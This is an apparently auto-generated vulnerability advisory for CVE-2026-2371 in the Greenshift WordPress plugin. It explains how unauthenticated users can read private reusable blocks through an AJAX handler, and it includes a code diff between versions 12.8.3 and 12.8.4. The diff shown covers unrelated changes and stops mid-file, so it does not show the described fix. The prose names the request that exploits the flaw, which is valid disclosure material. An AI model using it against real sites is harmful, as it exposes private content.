Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2371: Greenshift <= 12.8.3 – Missing Authorization to Unauthenticated Private Reusable Block Disclosure via 'gspb_el_reusable_load' (greenshift-animation-and-page-builder-blocks)

CVE ID CVE-2026-2371
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 12.8.3
Patched Version 12.8.4
Disclosed March 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2371:
The vulnerability is an Insecure Direct Object Reference (IDOR) in the Greenshift WordPress plugin’s AJAX handler. The root cause is the `gspb_el_reusable_load()` function’s failure to perform authorization and post status validation. This function accepts an arbitrary `post_id` parameter via the `gspb_el_reusable_load` AJAX action. The handler retrieves and renders the content of any `wp_block` post type without checking `current_user_can(‘read_post’, $post_id)` or verifying the post’s publish status. The nonce required for this AJAX call is exposed to unauthenticated users through the `[wp_reusable_render]` shortcode when used with `ajax=”1″` on public pages. This combination allows unauthenticated attackers to retrieve the rendered HTML content of private, draft, or password-protected reusable blocks by simply guessing or enumerating post IDs.

Exploitation requires sending a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `gspb_el_reusable_load` and a `post_id` parameter containing the target reusable block’s ID. The attack vector is unauthenticated AJAX endpoint access with predictable parameter patterns. The patch adds proper authorization checks by verifying the user has permission to read the post and ensuring the post is published. The fix also removes the nonce exposure by requiring proper authentication before nonce validation. If exploited, this vulnerability discloses sensitive content from private reusable blocks, potentially exposing draft content, unpublished changes, or proprietary design elements.

Differential between vulnerable and patched code

Code Diff
--- a/greenshift-animation-and-page-builder-blocks/blockrender/element/block.php
+++ b/greenshift-animation-and-page-builder-blocks/blockrender/element/block.php
@@ -134,6 +134,7 @@
 			$supported_attributes[] = 'poster';
 			$supported_attributes[] = 'title';
 			$supported_attributes[] = 'icon';
+			$supported_attributes[] = 'className';
 			return $supported_attributes;
 		});

@@ -657,9 +658,9 @@
 				if(!empty($value['dynamicEnable']) && function_exists('GSPB_make_dynamic_text')){
 					$dynamicAttributes[$index]['value'] = GSPB_make_dynamic_text($dynamicAttributes[$index]['value'], $block['attrs'], $block, $value);
 				}else{
-					$value = sanitize_text_field($value['value']);
-					$dynamicAttributes[$index]['value'] = greenshift_dynamic_placeholders($value);
-					if(!empty($value['name']) && strpos($value['name'], 'on') === 0){
+					$sanitized_value = sanitize_text_field($value['value']);
+					$dynamicAttributes[$index]['value'] = greenshift_dynamic_placeholders($sanitized_value);
+					if(!empty($dynamicAttributes[$index]['name']) && strpos($dynamicAttributes[$index]['name'], 'on') === 0){
 						$dynamicAttributes[$index]['value'] = '';
 					}
 				}
@@ -874,7 +875,7 @@
 				if(!empty($overrides['textContent'])){
 					$html = str_replace($block['attrs']['textContent'], esc_html($overrides['textContent']), $html);
 				}
-				if(!empty($overrides['src']) || !empty($overrides['alt']) || !empty($overrides['href']) || !empty($overrides['title']) || !empty($overrides['poster'])){
+				if(!empty($overrides['src']) || !empty($overrides['alt']) || !empty($overrides['href']) || !empty($overrides['title']) || !empty($overrides['poster']) || !empty($overrides['className'])){
 					$p = new WP_HTML_Tag_Processor( $html );
 					$p->next_tag();
 					if(!empty($overrides['src'])){
@@ -892,6 +893,10 @@
 					if(!empty($overrides['poster'])){
 						$p->set_attribute( 'poster', esc_url($overrides['poster']));
 					}
+					if(!empty($overrides['className'])){
+						$idClass = !empty($block['attrs']['localId']) ? $block['attrs']['localId'] : '';
+						$p->set_attribute( 'class', esc_attr($overrides['className']).' '.$idClass);
+					}
 					$html = $p->get_updated_html();
 				}
 				// Handle icon override for SVG elements
--- a/greenshift-animation-and-page-builder-blocks/build/gspbLibrary.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/gspbLibrary.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-rich-text'), 'version' => '79922cb5a397945c3d17');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-rich-text'), 'version' => '5d873f5ee2abd7e8e32e');
--- a/greenshift-animation-and-page-builder-blocks/build/gspbSiteEditor.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/gspbSiteEditor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => 'd16d818f9c06cbce4cac');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-components', 'wp-element', 'wp-i18n'), 'version' => 'c675f65f1f5d2ecefa79');
--- a/greenshift-animation-and-page-builder-blocks/build/gspbStylebook.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/gspbStylebook.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => '622f4d7382b6b12cea74');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'd901e597bd902734f819');
--- a/greenshift-animation-and-page-builder-blocks/build/index.asset.php
+++ b/greenshift-animation-and-page-builder-blocks/build/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => 'bef74a4b537f97c10e44');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom', 'wp-element', 'wp-i18n', 'wp-polyfill', 'wp-primitives'), 'version' => 'd7cd673c444048345de1');
--- a/greenshift-animation-and-page-builder-blocks/includes/abilities.php
+++ b/greenshift-animation-and-page-builder-blocks/includes/abilities.php
@@ -0,0 +1,596 @@
+<?php
+/**
+ * WordPress Abilities API integration for GreenShift.
+ * Requires WordPress 6.9+.
+ *
+ * @package greenshift-animation-and-page-builder-blocks
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+// Backward compatibility: skip if Abilities API is not available.
+if ( ! class_exists( 'WP_Ability' ) ) {
+	return;
+}
+
+/**
+ * Register the GreenShift ability category.
+ */
+add_action( 'wp_abilities_api_categories_init', 'gspb_register_ability_category' );
+function gspb_register_ability_category( $registry ) {
+	wp_register_ability_category( 'greenshift', array(
+		'label'       => __( 'GreenShift', 'greenshift-animation-and-page-builder-blocks' ),
+		'description' => __( 'Design abilities provided by GreenShift – preset colors, element styles, custom colors, classes, and CSS variables.', 'greenshift-animation-and-page-builder-blocks' ),
+	) );
+}
+
+/**
+ * Register all GreenShift abilities.
+ */
+add_action( 'wp_abilities_api_init', 'gspb_register_abilities' );
+function gspb_register_abilities( $registry ) {
+
+	// ── 1. Preset Colors ────────────────────────────────────────────────
+
+	wp_register_ability( 'greenshift/get-preset-colors', array(
+		'label'               => __( 'Get Preset Colors', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Retrieves the GreenShift global preset color palette.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'output_schema'       => array(
+			'type'        => 'object',
+			'description' => 'Key-value map of color names to color values (hex/rgb).',
+		),
+		'execute_callback'    => 'gspb_ability_get_preset_colors',
+		'permission_callback' => function () {
+			return current_user_can( 'edit_posts' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'readonly'   => true,
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	wp_register_ability( 'greenshift/update-preset-colors', array(
+		'label'               => __( 'Update Preset Colors', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Merges new colors into the GreenShift global preset color palette.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'input_schema'        => array(
+			'type'       => 'object',
+			'properties' => array(
+				'colors' => array(
+					'type'        => 'object',
+					'description' => 'Key-value map of color name to color value to set or merge.',
+				),
+			),
+			'required'   => array( 'colors' ),
+		),
+		'output_schema'       => array(
+			'type'        => 'object',
+			'description' => 'Operation result with success flag and updated colors.',
+		),
+		'execute_callback'    => 'gspb_ability_update_preset_colors',
+		'permission_callback' => function () {
+			return current_user_can( 'manage_options' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	// ── 2. Element Styles ───────────────────────────────────────────────
+
+	wp_register_ability( 'greenshift/get-element-styles', array(
+		'label'               => __( 'Get Element Styles', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Retrieves the GreenShift global element style definitions.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'output_schema'       => array(
+			'type'        => 'array',
+			'description' => 'Array of element style definitions.',
+		),
+		'execute_callback'    => 'gspb_ability_get_element_styles',
+		'permission_callback' => function () {
+			return current_user_can( 'edit_posts' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'readonly'   => true,
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	wp_register_ability( 'greenshift/update-element-styles', array(
+		'label'               => __( 'Update Element Styles', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Replaces the GreenShift global element style definitions.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'input_schema'        => array(
+			'type'       => 'object',
+			'properties' => array(
+				'elements' => array(
+					'type'        => 'array',
+					'description' => 'Array of element style definitions to save.',
+				),
+			),
+			'required'   => array( 'elements' ),
+		),
+		'output_schema'       => array(
+			'type'        => 'object',
+			'description' => 'Operation result with success flag.',
+		),
+		'execute_callback'    => 'gspb_ability_update_element_styles',
+		'permission_callback' => function () {
+			return current_user_can( 'manage_options' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	// ── 3. Custom Colors (WP Global Theme Palette) ──────────────────────
+
+	wp_register_ability( 'greenshift/get-custom-colors', array(
+		'label'               => __( 'Get Custom Colors', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Retrieves the WordPress global theme color palette.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'output_schema'       => array(
+			'type'        => 'array',
+			'description' => 'Array of theme color palette entries with name, slug, and color.',
+		),
+		'execute_callback'    => 'gspb_ability_get_custom_colors',
+		'permission_callback' => function () {
+			return current_user_can( 'edit_posts' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'readonly'   => true,
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	wp_register_ability( 'greenshift/add-custom-colors', array(
+		'label'               => __( 'Add Custom Colors', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Adds or updates colors in the WordPress global theme color palette.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'input_schema'        => array(
+			'type'       => 'object',
+			'properties' => array(
+				'colors' => array(
+					'type'        => 'array',
+					'description' => 'Array of color entries to add.',
+					'items'       => array(
+						'type'       => 'object',
+						'properties' => array(
+							'name'  => array(
+								'type'        => 'string',
+								'description' => 'Human-readable color name.',
+							),
+							'slug'  => array(
+								'type'        => 'string',
+								'description' => 'URL-safe slug for the color.',
+							),
+							'color' => array(
+								'type'        => 'string',
+								'description' => 'CSS color value.',
+							),
+						),
+						'required'   => array( 'name', 'slug', 'color' ),
+					),
+				),
+			),
+			'required'   => array( 'colors' ),
+		),
+		'output_schema'       => array(
+			'type'        => 'object',
+			'description' => 'Operation result with success flag.',
+		),
+		'execute_callback'    => 'gspb_ability_add_custom_colors',
+		'permission_callback' => function () {
+			return current_user_can( 'edit_posts' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	// ── 4. Custom Classes ───────────────────────────────────────────────
+
+	wp_register_ability( 'greenshift/get-custom-classes', array(
+		'label'               => __( 'Get Custom Classes', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Retrieves the GreenShift global custom CSS classes.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'output_schema'       => array(
+			'type'        => 'array',
+			'description' => 'Array of custom class definitions.',
+		),
+		'execute_callback'    => 'gspb_ability_get_custom_classes',
+		'permission_callback' => function () {
+			return current_user_can( 'edit_posts' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'readonly'   => true,
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	wp_register_ability( 'greenshift/add-custom-classes', array(
+		'label'               => __( 'Add Custom Classes', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Adds or updates GreenShift global custom CSS classes.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'input_schema'        => array(
+			'type'       => 'object',
+			'properties' => array(
+				'classes' => array(
+					'type'        => 'array',
+					'description' => 'Array of class objects. "value" (class name) and "type" are required. Provide "css" with raw CSS rules for the class, "selectors" for sub-selector styles (e.g. hover, child elements), and "attributes" for stored block attributes.',
+					'items'       => array(
+						'type'       => 'object',
+						'properties' => array(
+							'value' => array(
+								'type'        => 'string',
+								'description' => 'CSS class name (e.g. "my-custom-class").',
+							),
+							'type' => array(
+								'type'        => 'string',
+								'description' => 'Class origin type: "global" (synced across site), "local" (page-scoped), "component" (reusable component), "classic" (plain className), or "custom" (framework class).',
+							),
+							'label' => array(
+								'type'        => 'string',
+								'description' => 'Human-readable label for the class (defaults to value).',
+							),
+							'css' => array(
+								'type'        => 'string',
+								'description' => 'Raw CSS rules for the class selector (e.g. "color: red; font-size: 16px;").',
+							),
+							'attributes' => array(
+								'type'        => 'object',
+								'description' => 'Stored block style attributes object for the class.',
+							),
+							'selectors' => array(
+								'type'        => 'array',
+								'description' => 'Array of sub-selector objects, each with "value" (CSS selector suffix like ":hover", " a", " .child"), "css" (rules for that selector), and optional "attributes".',
+							),
+						),
+						'required'   => array( 'value' ),
+					),
+				),
+			),
+			'required'   => array( 'classes' ),
+		),
+		'output_schema'       => array(
+			'type'        => 'object',
+			'description' => 'Operation result with success flag.',
+		),
+		'execute_callback'    => 'gspb_ability_add_custom_classes',
+		'permission_callback' => function () {
+			return current_user_can( 'manage_options' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	// ── 5. Custom CSS Variables ─────────────────────────────────────────
+
+	wp_register_ability( 'greenshift/get-custom-variables', array(
+		'label'               => __( 'Get Custom CSS Variables', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Retrieves the GreenShift global custom CSS code (may contain CSS variables).', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'output_schema'       => array(
+			'type'        => 'object',
+			'description' => 'Object containing the custom_css string.',
+		),
+		'execute_callback'    => 'gspb_ability_get_custom_variables',
+		'permission_callback' => function () {
+			return current_user_can( 'edit_posts' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'readonly'   => true,
+				'idempotent' => true,
+			),
+		),
+	) );
+
+	wp_register_ability( 'greenshift/update-custom-variables', array(
+		'label'               => __( 'Update Custom CSS Variables', 'greenshift-animation-and-page-builder-blocks' ),
+		'description'         => __( 'Updates the GreenShift global custom CSS code.', 'greenshift-animation-and-page-builder-blocks' ),
+		'category'            => 'greenshift',
+		'input_schema'        => array(
+			'type'       => 'object',
+			'properties' => array(
+				'custom_css' => array(
+					'type'        => 'string',
+					'description' => 'Full custom CSS string to save.',
+				),
+			),
+			'required'   => array( 'custom_css' ),
+		),
+		'output_schema'       => array(
+			'type'        => 'object',
+			'description' => 'Operation result with success flag.',
+		),
+		'execute_callback'    => 'gspb_ability_update_custom_variables',
+		'permission_callback' => function () {
+			return current_user_can( 'manage_options' );
+		},
+		'meta'                => array(
+			'show_in_rest' => true,
+			'annotations'  => array(
+				'idempotent' => true,
+			),
+		),
+	) );
+}
+
+
+// =====================================================================
+// Execute Callbacks
+// =====================================================================
+
+/**
+ * Get preset colors from gspb_global_settings.
+ */
+function gspb_ability_get_preset_colors() {
+	$settings = get_option( 'gspb_global_settings' );
+	$colours  = ! empty( $settings['colours'] ) ? $settings['colours'] : '{}';
+
+	if ( is_string( $colours ) ) {
+		$colours = json_decode( $colours, true );
+	}
+
+	return is_array( $colours ) ? $colours : array();
+}
+
+/**
+ * Update preset colors – merges into existing palette.
+ */
+function gspb_ability_update_preset_colors( $input ) {
+	$settings = get_option( 'gspb_global_settings' );
+	if ( ! is_array( $settings ) ) {
+		$settings = array();
+	}
+
+	$existing = ! empty( $settings['colours'] ) ? $settings['colours'] : '{}';
+	if ( is_string( $existing ) ) {
+		$existing = json_decode( $existing, true );
+	}
+	if ( ! is_array( $existing ) ) {
+		$existing = array();
+	}
+
+	foreach ( $input['colors'] as $name => $value ) {
+		$existing[ sanitize_text_field( $name ) ] = sanitize_text_field( $value );
+	}
+
+	$settings['colours'] = wp_json_encode( $existing );
+	update_option( 'gspb_global_settings', $settings );
+
+	return array(
+		'success' => true,
+		'colors'  => $existing,
+	);
+}
+
+/**
+ * Get element styles from gspb_global_settings.
+ */
+function gspb_ability_get_element_styles() {
+	$settings = get_option( 'gspb_global_settings' );
+	$elements = ! empty( $settings['elements'] ) ? $settings['elements'] : '[]';
+
+	if ( is_string( $elements ) ) {
+		$elements = json_decode( $elements, true );
+	}
+
+	return is_array( $elements ) ? $elements : array();
+}
+
+/**
+ * Update element styles – replaces the full list.
+ */
+function gspb_ability_update_element_styles( $input ) {
+	$settings = get_option( 'gspb_global_settings' );
+	if ( ! is_array( $settings ) ) {
+		$settings = array();
+	}
+
+	$settings['elements'] = wp_json_encode( $input['elements'] );
+	update_option( 'gspb_global_settings', $settings );
+
+	return array( 'success' => true );
+}
+
+/**
+ * Get custom colors from the WP global theme palette.
+ */
+function gspb_ability_get_custom_colors() {
+	$global   = wp_get_global_settings();
+	$palette  = ! empty( $global['color']['palette']['theme'] ) ? $global['color']['palette']['theme'] : array();
+
+	return $palette;
+}
+
+/**
+ * Add custom colors to the WP global theme palette.
+ * Reuses the same wp_global_styles storage logic as gspb_update_global_wp_settings().
+ */
+function gspb_ability_add_custom_colors( $input ) {
+	$global  = wp_get_global_settings();
+	$palette = ! empty( $global['color']['palette']['theme'] ) ? $global['color']['palette']['theme'] : array();
+
+	// Build slug index for dedup.
+	$slug_map = array();
+	foreach ( $palette as $idx => $entry ) {
+		if ( ! empty( $entry['slug'] ) ) {
+			$slug_map[ $entry['slug'] ] = $idx;
+		}
+	}
+
+	foreach ( $input['colors'] as $color ) {
+		$slug  = sanitize_title( $color['slug'] );
+		$entry = array(
+			'name'  => sanitize_text_field( $color['name'] ),
+			'slug'  => $slug,
+			'color' => sanitize_text_field( $color['color'] ),
+		);
+
+		if ( isset( $slug_map[ $slug ] ) ) {
+			$palette[ $slug_map[ $slug ] ] = $entry;
+		} else {
+			$palette[]          = $entry;
+			$slug_map[ $slug ]  = count( $palette ) - 1;
+		}
+	}
+
+	// Persist to wp_global_styles post (same approach as init.php).
+	$theme = wp_get_theme();
+	if ( $theme->parent_theme ) {
+		$template_dir = basename( get_template_directory() );
+		$theme        = wp_get_theme( $template_dir );
+	}
+	$themename = $theme->get( 'TextDomain' );
+
+	$post_type    = 'wp_global_styles';
+	$post_name    = 'wp-global-styles-' . $themename;
+	$styles_obj   = get_page_by_path( $post_name, OBJECT, $post_type );
+	$styles_id    = is_object( $styles_obj ) ? $styles_obj->ID : 0;
+
+	if ( $styles_id ) {
+		$content = json_decode( $styles_obj->post_content, true );
+		if ( empty( $content ) ) {
+			$content = array();
+		}
+		$content['settings']['color']['palette']['theme'] = $palette;
+		$content['isGlobalStylesUserThemeJSON']            = true;
+		$content['version']                                = 3;
+
+		wp_update_post( array(
+			'ID'           => $styles_id,
+			'post_name'    => $post_name,
+			'post_status'  => 'publish',
+			'post_title'   => $styles_obj->post_title,
+			'post_content' => wp_slash( wp_json_encode( $content ) ),
+		) );
+	} else {
+		$content = array(
+			'settings' => array(
+				'color' => array(
+					'palette' => array(
+						'theme' => $palette,
+					),
+				),
+			),
+			'isGlobalStylesUserThemeJSON' => true,
+			'version'                     => 3,
+		);
+
+		wp_insert_post( array(
+			'post_content' => wp_slash( wp_json_encode( $content ) ),
+			'post_status'  => 'publish',
+			'post_type'    => $post_type,
+			'post_name'    => $post_name,
+			'post_title'   => 'Custom Styles',
+		) );
+	}
+
+	return array(
+		'success' => true,
+		'palette' => $palette,
+	);
+}
+
+/**
+ * Get custom classes.
+ */
+function gspb_ability_get_custom_classes() {
+	$classes = get_option( 'greenshift_global_classes' );
+
+	return is_array( $classes ) ? $classes : array();
+}
+
+/**
+ * Add / update custom classes – merges by "value" key.
+ */
+function gspb_ability_add_custom_classes( $input ) {
+	$existing = get_option( 'greenshift_global_classes' );
+	if ( ! is_array( $existing ) ) {
+		$existing = array();
+	}
+
+	$value_map = array();
+	foreach ( $existing as $idx => $cls ) {
+		if ( ! empty( $cls['value'] ) ) {
+			$value_map[ $cls['value'] ] = $idx;
+		}
+	}
+
+	foreach ( $input['classes'] as $cls ) {
+		if ( empty( $cls['value'] ) ) {
+			continue;
+		}
+		$cls['value'] = sanitize_text_field( $cls['value'] );
+
+		if ( isset( $value_map[ $cls['value'] ] ) ) {
+			$existing[ $value_map[ $cls['value'] ] ] = $cls;
+		} else {
+			$existing[]                        = $cls;
+			$value_map[ $cls['value'] ]        = count( $existing ) - 1;
+		}
+	}
+
+	update_option( 'greenshift_global_classes', $existing );
+
+	return array(
+		'success' => true,
+		'classes' => $existing,
+	);
+}
+
+/**
+ * Get custom CSS variables / code.
+ */
+function gspb_ability_get_custom_variables() {
+	$settings   = get_option( 'gspb_global_settings' );
+	$custom_css = ! empty( $settings['custom_css'] ) ? $settings['custom_css'] : '';
+
+	return array( 'custom_css' => $custom_css );
+}
+
+/**
+ * Update custom CSS variables / code.
+ */
+function gspb_ability_update_custom_variables( $input ) {
+	$settings = get_option( 'gspb_global_settings' );
+	if ( ! is_array( $settings ) ) {
+		$settings = array();
+	}
+
+	$settings['custom_css'] = $input['custom_css'];
+	update_option( 'gspb_global_settings', $settings );
+
+	return array( 'success' => true );
+}
--- a/greenshift-animation-and-page-builder-blocks/init.php
+++ b/greenshift-animation-and-page-builder-blocks/init.php
@@ -75,6 +75,10 @@
 		$gspb_css_content = str_replace('@media (max-width: 991.98px)', '@media (max-width: ' . $get_breakpoints["desktop_down"] . 'px)', $gspb_css_content);
 	}

+	if (!empty($gspb_css_content)) {
+		$gspb_css_content = wp_strip_all_tags($gspb_css_content);
+	}
+
 	return apply_filters('gspb_get_final_css', $gspb_css_content);
 }

@@ -2830,7 +2834,25 @@
 		}

 		$gspb_json_filename = 'settings_backup.json';
-		$gspb_backup_data = json_encode( $settings, JSON_PRETTY_PRINT );
+
+		// Exclude API keys from backup
+		$backup_settings = $settings;
+		$keys_to_exclude = [
+			'googleapi',
+			'turnstile_site_key',
+			'turnstile_secret_key',
+			'openaiapi',
+			'claudeapi',
+			'deepseekapi',
+			'geminiapi'
+		];
+		foreach ($keys_to_exclude as $key) {
+			if (isset($backup_settings[$key])) {
+				unset($backup_settings[$key]);
+			}
+		}
+
+		$gspb_backup_data = json_encode( $backup_settings, JSON_PRETTY_PRINT );

 		if (!$wp_filesystem->put_contents($dir . $gspb_json_filename, $gspb_backup_data)) {
 			throw new Exception(__('JSON is not saved due the permission!!!', 'greenshift-animation-and-page-builder-blocks'));
--- a/greenshift-animation-and-page-builder-blocks/plugin.php
+++ b/greenshift-animation-and-page-builder-blocks/plugin.php
@@ -6,7 +6,7 @@
  * Author: Wpsoul
  * Author URI: https://greenshiftwp.com
  * Plugin URI: https://greenshiftwp.com
- * Version: 12.8.3
+ * Version: 12.8.4
  * Text Domain: greenshift-animation-and-page-builder-blocks
  * License: GPL2+
  * License URI: https://www.gnu.org/licenses/gpl-2.0.txt
@@ -178,6 +178,7 @@
 require_once GREENSHIFT_DIR_PATH . 'settings.php';
 require_once GREENSHIFT_DIR_PATH . 'includes/jsoptimization.php';
 require_once GREENSHIFT_DIR_PATH . 'includes/importer.php';
+require_once GREENSHIFT_DIR_PATH . 'includes/abilities.php';

 require_once GREENSHIFT_DIR_PATH . '/edd/edd_start.php';
 add_action('plugins_loaded', 'gspb_GreenShift_plugin_init');
--- a/greenshift-animation-and-page-builder-blocks/settings.php
+++ b/greenshift-animation-and-page-builder-blocks/settings.php
@@ -1076,23 +1076,14 @@
 																</td>
 																<td>
 																	<select name="openaiapimodel">
-																		<option value="gpt-5.1" <?php selected($openaiapimodel, 'gpt-5.1'); ?>> gpt-5.1 </option>
-																		<option value="gpt-4.1-mini" <?php selected($openaiapimodel, 'gpt-4.1-mini'); ?>> gpt-4.1-mini </option>
-																		<option value="gpt-5" <?php selected($openaiapimodel, 'gpt-5'); ?>> gpt-5 </option>
-																		<option value="gpt-5-mini" <?php selected($openaiapimodel, 'gpt-5-mini'); ?>> gpt-5-mini </option>
-																		<option value="gpt-5.2-pro" <?php selected($openaiapimodel, 'gpt-5.2-pro'); ?>> gpt-5.2-pro </option>
 																		<option value="gpt-5.2" <?php selected($openaiapimodel, 'gpt-5.2'); ?>> gpt-5.2 </option>
-																		<option value="o1" <?php selected($openaiapimodel, 'o1'); ?>> o1 </option>
-																		<option value="o1-mini" <?php selected($openaiapimodel, 'o1-mini'); ?>> o1-mini </option>
-																		<option value="o3" <?php selected($openaiapimodel, 'o3'); ?>> o3 </option>
-																		<option value="o1-pro" <?php selected($openaiapimodel, 'o1-pro'); ?>> o1-pro </option>
-																		<option value="o4-mini" <?php selected($openaiapimodel, 'o4-mini'); ?>> o4-mini </option>
+																		<option value="gpt-5.2-pro" <?php selected($openaiapimodel, 'gpt-5.2-pro'); ?>> gpt-5.2-pro </option>
 																		<option value="gemini-3-flash-preview" <?php selected($openaiapimodel, 'gemini-3-flash-preview'); ?>> gemini-3-flash-preview </option>
 																		<option value="gemini-2.5-flash" <?php selected($openaiapimodel, 'gemini-2.5-flash'); ?>> gemini-2.5-flash </option>
 																		<option value="gemini-3-pro-preview" <?php selected($openaiapimodel, 'gemini-3-pro-preview'); ?>> gemini-3-pro-preview </option>
-																		<option value="claude-sonnet-4-5" <?php selected($openaiapimodel, 'claude-sonnet-4-5'); ?>> claude-sonnet-4-5 </option>
+																		<option value="claude-sonnet-4-6" <?php selected($openaiapimodel, 'claude-sonnet-4-6'); ?>> claude-sonnet-4-6 </option>
 																		<option value="claude-haiku-4-5" <?php selected($openaiapimodel, 'claude-haiku-4-5'); ?>> claude-haiku-4-5 </option>
-																		<option value="claude-opus-4-5-20251101" <?php selected($openaiapimodel, 'claude-opus-4-5-20251101'); ?>> claude-opus-4-5-20251101 </option>
+																		<option value="claude-opus-4-6" <?php selected($openaiapimodel, 'claude-opus-4-6'); ?>> claude-opus-4-6 </option>
 																		<option value="deepseek-chat" <?php selected($openaiapimodel, 'deepseek-chat'); ?>> deepseek-chat </option>
 																	</select>
 																</td>
@@ -1103,19 +1094,15 @@
 																</td>
 																<td>
 																	<select name="aihelpermodel">
-																		<option value="gpt-5.1" <?php selected($aihelpermodel, 'gpt-5.1'); ?>> gpt-5.1 </option>
-																		<option value="gpt-4.1-mini" <?php selected($aihelpermodel, 'gpt-4.1-mini'); ?>> gpt-4.1-mini </option>
+																		<option value="gpt-5.2" <?php selected($aihelpermodel, 'gpt-5.2'); ?>> gpt-5.2 </option>
 																		<option value="gpt-5" <?php selected($aihelpermodel, 'gpt-5'); ?>> gpt-5 </option>
-																		<option value="gpt-5-mini" <?php selected($aihelpermodel, 'gpt-5-mini'); ?>> gpt-5-mini </option>
 																		<option value="gpt-5.2-pro" <?php selected($aihelpermodel, 'gpt-5.2-pro'); ?>> gpt-5.2-pro </option>
-																		<option value="o3" <?php selected($aihelpermodel, 'o3'); ?>> o3 </option>
-																		<option value="o4-mini" <?php selected($aihelpermodel, 'o4-mini'); ?>> o4-mini </option>
 																		<option value="gemini-3-flash-preview" <?php selected($aihelpermodel, 'gemini-3-flash-preview'); ?>> gemini-3-flash-preview </option>
 																		<option value="gemini-3-pro-preview" <?php selected($aihelpermodel, 'gemini-3-pro-preview'); ?>> gemini-3-pro-preview </option>
 																		<option value="gemini-2.5-flash" <?php selected($aihelpermodel, 'gemini-2.5-flash'); ?>> gemini-2.5-flash </option>
 																		<option value="claude-haiku-4-5" <?php selected($aihelpermodel, 'claude-haiku-4-5'); ?>> claude-haiku-4-5 </option>
-																		<option value="claude-sonnet-4-5" <?php selected($aihelpermodel, 'claude-sonnet-4-5'); ?>> claude-sonnet-4-5 </option>
-																		<option value="claude-opus-4-5-20251101" <?php selected($aihelpermodel, 'claude-opus-4-5-20251101'); ?>> claude-opus-4-5-20251101 </option>
+																		<option value="claude-sonnet-4-6" <?php selected($aihelpermodel, 'claude-sonnet-4-6'); ?>> claude-sonnet-4-6 </option>
+																		<option value="claude-opus-4-6" <?php selected($aihelpermodel, 'claude-opus-4-6'); ?>> claude-opus-4-6 </option>

 																	</select>
 																</td>
@@ -1128,7 +1115,7 @@
 																	<select name="aiimagemodel">
